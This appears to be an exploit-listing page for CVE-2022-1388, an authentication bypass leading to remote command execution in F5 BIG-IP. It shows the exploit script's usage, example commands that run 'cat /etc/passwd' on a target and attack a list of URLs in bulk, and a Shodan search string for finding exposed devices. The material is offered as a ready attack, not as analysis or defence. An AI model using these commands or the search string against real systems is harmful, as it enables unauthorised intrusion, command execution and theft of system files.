Exploit for Missing Authentication for Critical Function in F5 Big-Ip Access Policy Manager CVE-2022-1388

Name: Exploit for Missing Authentication for Critical Function in F5 Big-Ip Access Policy Manager CVE-2022-1388
Rating: 5 (264 reviews)

2022-05-17 | CVSS 7.5

## https://sploitus.com/exploit?id=93F2F758-FE27-5C30-9473-F26AD9210871
# F5-BIG-IP exploit
CVE-2022-1388
usage: CVE-2022-1388.py [-h] [-u URL] [-c COMMAND] [-f FILE]

CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE

Eg: 

    python3 CVE-2022-1388.py -u https://127.0.0.1
    
    python3 CVE-2022-1388.py -u https://127.0.0.1 -c 'cat /etc/passwd'
    
    python3 CVE-2022-1388.py -f urls.txt

Shodan dork:

    http.title:"BIG-IP&reg;-Redirect" +"Server"